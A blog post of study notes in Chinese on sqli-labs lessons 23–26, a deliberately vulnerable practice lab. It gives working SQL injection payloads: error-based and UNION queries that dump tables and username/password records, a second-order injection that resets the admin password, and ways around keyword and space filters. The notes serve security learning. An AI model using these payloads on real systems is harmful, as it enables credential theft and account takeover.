sqli-labs学习笔记 DAY4
DAY 4
sqli-labs lesson 23
- 与lesson 1一样,只不过屏蔽了#和–注释符。
- 报错型注入:
- 爆库:id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(database()),0x7e)),'3
- 爆表:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)),'3
- 爆字段:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)),'3
- 爆记录:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select concat_ws(’,’,username,password) from security.users limit n,1),0x7e)),'3
- 联合查询
- 爆库:?id=99’ UNION SELECT 1,database(),'3
- 爆表:?id=99’ UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3
- 爆字段:?id=99’ UNION SELECT 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘users’),'3
- 爆记录:?id=99’ UNION SELECT 1,(SELECT group_concat(concat_ws(’;’,username,password)) from security.users ),'3
sqli-labs lesson 24
- 预备知识:什么是二次注入
- 简单的说,就是在第一次注入时,注入的SQL语句被转义了,从而直接存储到了数据库中,因此,在第二次注入时,直接调用了原始内容进行操作,从而导致注入成功。
- 注册admin’;#账号
- 从修改密码的源代码可以看到这一句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
- 登陆admin’;#
- 这时,我们修改密码,形成的SQL语句将是:
UPDATE users SET PASSWORD='$pass' where username='admin';#' and password='$curr_pass'
显然,我们把admin用户的密码给改了!
- 尝试用新密码登陆admin账户:
成功了!
sqli-labs lesson 25
- 这里过滤了or和and,可以用||和&&(&是URL参数分隔符,需要编码使用)代替,但是也会有问题,单词中的or也被过滤了,查看源代码,发现只是把or和and进行了一次过滤,并且还是替换成了空字符,所以也很好办,比如information,只要写成infoorrmation就可以了。
sqli-labs lesson 25a
- 与上一题一样,只是参数是数值型并且没有错误显示了,无法使用报错型注入而已。
sqli-labs lesson 26
- 过滤加强了!
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
- 最麻烦的就是空格的过滤了,如果服务器是Linux的,可以使用%a0特殊字符代替,否则,可以使用括号来绕过
- 直接报错型注入
- 爆库:?id=99’||extractvalue(1,concat(0x7e,(database()),0x7e))||'3
- 爆表:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)),0x7e))||'1
- 爆字段:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘users’%26%26table_schema=‘security’)),0x7e))||'1
- 爆记录:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(";",username,passwoorrd)))from(security.users)),0x7e))||'1
- 由于报错型注入返回的长度有限制,而limit的参数无法用括号包围,可以使用where限制语句直接找出admin的记录,也可以使用mid函数来截取。
sqli-labs学习笔记 DAY4的更多相关文章
- OpenCV图像处理学习笔记-Day4(完结)
OpenCV图像处理学习笔记-Day4(完结) 第41课:使用OpenCV统计直方图 第42课:绘制OpenCV统计直方图 pass 第43课:使用掩膜的直方图 第44课:掩膜原理及演示 第45课:直 ...
- HTML学习笔记Day4
一.浮动属性 1.首先要知道,div是块级元素,在页面中独占一行,自上而下排列,也就是传说中的流: 无论多么复杂的布局,其基本出发点均是:“如何在一行显示多个div元素”: 显然标准流已经无法满足需求 ...
- Python学习笔记 - day4 - 流程控制
Python流程控制 Python中的流程控制主要包含两部分:条件判断和循环. Python的缩进和语法 为什么要在这里说缩进和语法,是因为将要学习的条件判断和分支将会涉及到多行代码,在java.c等 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- Python学习笔记——Day4
字符串操作 string典型的内置方法: count() center() startswith() find() format() lower() upper() strip() replace() ...
- python学习笔记-Day4(2)
正则表达式 语法: import re #导入模块名 p = re.compile("^[0-9]") #生成要匹配的正则对象 , ^代表从开头匹配,[0-9]代表匹配0至9的任意 ...
- python学习笔记-day4笔记 常用内置函数与装饰器
1.常用的python函数 abs 求绝对值 all 判断迭代器中所有的数据是否为真或者可迭代数据为空,返回真,否则返回假 any ...
- python 网络爬虫与信息提取 学习笔记day4
正则表达式简介: 简洁表示一组字符串的特征或者模式,在文本处理中十分常用,主要应用于字符串匹配中 1. 通用的字符串表达框架 2. 简洁表达一组字符串的表达式 3. 针对字符串表达简洁和特征思想 ...
- JS学习笔记Day4
一.什么是函数 将反复使用的功能代码,封装成一独立的模块,这个模块叫做函数 二.封装函数的好处 1.一次封装,多次使用 2.使程序可控 三.函数的分类:内置()函数和自定义函数 四.函数的数据类型(f ...
- python学习笔记-Day4(1)
迭代器 迭代器是访问集合元素的一种方式.迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束.迭代器只能往前不会后退,不过这也没什么,因为人们很少在迭代途中往后退.另外,迭代器的一大优点是 ...
随机推荐
- Python自动化之django orm之Q对象
Python自动化之django orm之Q对象 什么是Q对象? Encapsulates filters as objects that can then be combined logically ...
- oracle 基本知识点
//创建临时表空间create temporary tablespace test_temp tempfile 'E:\oracle\product\10.2.0\oradata\testserver ...
- unittest框架官方翻译:中文版
指数 模块 | 下一个 | 上一个 | Python » 英语 法国 日本 朝鲜的 开发(3.8) 3.7.3rc1 3.6 3.5 2.7 文档 » Python标准库 » 开发工具 » | ...
- 树莓派 log 日志 打印到 TXT
#include<stdio.h> #include <stdarg.h> #include <unistd.h> #include <stdint.h> ...
- Ural 1183 Brackets Sequence(区间DP+记忆化搜索)
题目地址:Ural 1183 最终把这题给A了.. .拖拉了好长时间,.. 自己想还是想不出来,正好紫书上有这题. d[i][j]为输入序列从下标i到下标j最少须要加多少括号才干成为合法序列.0< ...
- 洛谷P3382 【模板】三分法(三分)
题目描述 如题,给出一个N次函数,保证在范围[l,r]内存在一点x,使得[l,x]上单调增,[x,r]上单调减.试求出x的值. 输入输出格式 输入格式: 第一行一次包含一个正整数N和两个实数l.r,含 ...
- VS2010调试和头文件路径设置
1:VS2010 release 调试C/C++ -> 常规 -> 调试信息格式, 修改为程序数据库(/Zi)C/C++ ->优化 -> 优化,修改为已禁用(/Od)链接器 - ...
- 2017-2018-1 20155231 课堂测试 (ch06)
2017-2018-1 20155231 课堂测试 (ch06) 1 (单选题|1分) 下面代码中,对数组x填充后,采用直接映射高速缓存,所有对x和y引用的命中率为(D) A .1 B .1/4 C ...
- 20155307《网络对抗》PC平台逆向破解(二)
20155307<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...
- 19-[模块]-xml
1.xml协议 xml是实现不同语言或程序之间进行数据交换的协议,跟json差不多,但json使用起来更简单,不过,古时候,在json还没诞生的黑暗年代,大家只能选择用xml呀,至今很多传统公司如金融 ...